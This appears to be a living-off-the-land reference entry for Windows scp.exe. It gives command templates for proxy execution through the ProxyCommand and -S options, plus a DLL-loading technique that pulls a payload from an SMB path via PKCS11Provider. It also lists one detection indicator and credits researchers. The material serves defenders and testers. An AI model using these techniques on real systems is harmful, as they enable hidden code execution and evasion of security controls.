01 / TRADECRAFT
3 examplesCommand reference
Execute3
EXAMPLE 01T1202
Spawns specified command from `scp.exe` -> `ssh.exe`, even if no SSH server is running on localhost (or any other address specified).
COMMAND
scp.exe -o ProxyCommand="{CMD}" . localhost:.EXAMPLE 02T1202
Spawns specified command from `scp.exe` -> `ssh.exe`, even if no SSH server is running on localhost (or any other address specified).
COMMAND
scp.exe -S "{CMD}" . localhost:.EXAMPLE 03T1218
Loads a DLL from an absolute path or SMB path into child process `ssh.exe` by abusing the `PKCS11Provider` option. The payload executes upon DLL load (`DllMain`) and requires exporting `C_GetFunctionList` to prevent premature termination by `scp.exe`.
COMMAND
scp -o PKCS11Provider="{PATH_SMB:.dll}" . win@github.com:.02 / ON DISK
Known paths
C:\Windows\System32\OpenSSH\scp.exe03 / DEFENSIVE INTELLIGENCE
0 resourcesDetection & indicators
Indicators & detection notes
- IOC
`scp.exe` executions referencing `ProxyCommand`.
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
BinFault@binfault
Nir Chako (Pentera)@C_h4ck_0
Edo Maland@screetsec